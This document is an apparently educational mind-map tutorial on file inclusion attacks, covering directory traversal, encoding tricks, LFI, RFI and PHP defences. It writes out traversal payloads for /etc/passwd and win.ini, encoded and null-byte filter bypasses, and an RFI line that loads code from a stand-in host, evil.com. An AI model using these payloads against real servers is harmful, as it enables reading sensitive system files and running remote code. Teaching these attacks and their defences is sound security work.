Cyber360

File Inclusion

- **whoami**
  - HasanRhani
- **Introduction**
  - An attacker tricks the web application and modify the file path request into loading the file or executing files (reading system files.)
    - allows attacker to read files web application server
- **URL (Uniform Resource Locator)**
  - It has serval component like protocol,host,port,file path,parameters and fragements
    - Uniform is constants
    - Resources is whatever available on internet or client material
    - Locator provides access.
    - protocol://host:port/files?(?>query)file(file>>variable)=filename(Value).exetension(Extravariable)id=30(Fragments)TOP(Valueofpage or handle page location)
      - The Path may very based on the server or the software hosted in the web application.
- **Directory Travesal**
  - An attacker tricks the web application into loading unintended files by tricking the files paths.
    - How does it work ?
      - A web application is hosted some images if clicked on the images it will open the image directory in the URL.
        - https://example.com/localimages=?218.png
        - <img src="localimage?filename218.png"
          - this shows where the images is fetch and loaded the image.
      - Mostly web application software stored the images into /var/www/images directory.
        However the vulnerability is when the file path is user controlleable on the client side or not validate by the server.
        - Example
          - https://webappplication.com/loadimage?filename=218.png
        - Attacker Trick
          - https://webapplication.com/loadimage?filename=../../etc/passwd
            - On UNIX-Based /etc/passwd contain sensitive information
          - https://webapplication.com/loadimage?filename=..\..\windows\win.ini
            - On windows win.ini contain sensitive information
      - The dot & slash are operating system commands of backing into one directory so instead of being at images directory its goes 3 times back into directory which is root, after that its goes forward into /etc directory then into the passwd file.
- **Encoding**
  - Encoding is used in web application to ensure that the user input is not break by some character breaker and security from injection and more.
  - URL Encoding
    - Convert special characters into URLs formats so that it can properly goes to the web application.
      - Examples
        - Space are encoded with %20
        - @ are encoded with %40
        - DOT are encoded with %2e
        - Forward Slash are encoded with %2f
        - Backward Slash are encoded with %5c
        - %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc%5cpasswd
  - Double Encoding
    - Double Encoding is used to bypass the security filter and input validation by encoding data multiply times.
      - Example
        - <script>
          - First encoding %3Cscript%3E
          - Second encoding %253Cscript%253E
        - DOT are encoded with %2e
        - Forwared Slash are encoded with %2f
        - Backward Slash are encoded with %5c
        - %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc%5cpasswd
  - UTF-8 (Unicode Transformation Format)
    - UTF is a character which encode into byte level so it make easier for ASCII to convert into binary
      UTF-8 is a standard which focus on 1 to 4 bytes per character
      the whole web application can be configured to use UTF-8 to represent the data/text of users.
      - Example
        - DOT are encoded with %c0%2e %e0%40%ae %c0ae etc.
        - Forward slash are encoded with %c0%af %e0%80%af %c0%2f etc.
        - Backward Slash are encoded with %c0%5c %c0%80%5c etc.
- **LFI (Local File Inclusion)**
  - The attacker trick the web application to load files which results in reading file and accessing sensitive information.
  - How its works ?
    - The attacker trick the web application URL input field and added the unintended file path.
    - The web application loads the path which results in attacker can read and access sensitive files.
    - https://example.com/home.php?files=../../../etc/passwd
- **RFI (Remote File Inclusion)**
  - The attacker trick the web application to add and execute file from external servers which results in executing hosted external severs malicious code.
  - How It's Works ?
    - The attacker trick the web application URL input field to add unintended file path of a remote server
    - The web application loads the request which results in the web application goes to the remote server and execute the given malicious code and output as a response which reulst in reverse shell and more.
    - https://example.com/home.php?file=https://evil.com/badcode.php
- **BlackBox**
  - Input Validation and Sanitization
    - str_replace function which replace special characters with space.
      so the dot and slash are replace with space
      - <?php
        $file = str_replace(array("http://", "https://"), "", $file);
        $file = str_replace(array("../", "..\\"), "", $file);
        ?>
      - the attacker can bypasss adding the extra special character into the mid special character.
      - <scri<script>pt> or .../.../.../.../.../,
      - where the initials backslash or script tag is replaced, and the inner script tag and backslash remain.
    - Only certain Extension are allowed
      - Only certain extension of files are allowed like png or php.
      - the attacker by bypass this using NULL BYTES OR SPACESS
      - NULL BYTES
        - Its act like a string terminator which cut everything after it, while using URL Encoding its '%00'
        - ../../etc/passwd%00.php
        - The Null bytes '%00' will cut everything after it so it will remain ../../etc/passwd
        - The server attempts to include path '../../etc/passwd' instead of '../../etc/passwd.php'
      - SPACES
        - ../../etc/passwd(space).jpg/.png >> ../../etc/passwd .png
        - /image?filename=%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd%00%2ejpg
- **WordList**
  - Windows
    - https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
  - Linux
    - https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
- **Defense Against File Inclusion**
  - SOP and Cross Domain will prevent it from Client-side not by servers' side
  - LFI & RFI
    - Input Validation And Sanitization
      - Whitelisting
        - Characters like '../' are not allowed using the Sallowed_files=['page1.php' , page2.php']
          - // Unsanitized input
            $file = $_GET['file'];
            include($file);

            // Sanitized input
            $file = basename($_GET['file']); // Only the file name, no paths
            $allowed_files = ['page1.php', 'page2.php'];

            if (in_array($file, $allowed_files)) {
            include($file);
            } else {
            echo "File not allowed!";
            }
      - Allows Specific Files
        - $allowed_files = ['about.php', 'contact.php', 'home.php'];
          $file = $_GET['file'];
      - Validate Files
        - $file = realpath($_GET['file']);

          if ($file && strpos($file, realpath('allowed_directory/')) === 0) {
          include($file);
          } else {
          echo "Invalid file path!";
          }
      - Disable RFI
        - Disable PHP for accessing resources from external servers.
        - // php.ini settings
          allow_url_fopen = Off
          allow_url_include = Off
- **THANKS YOU :_**

Presented with xmind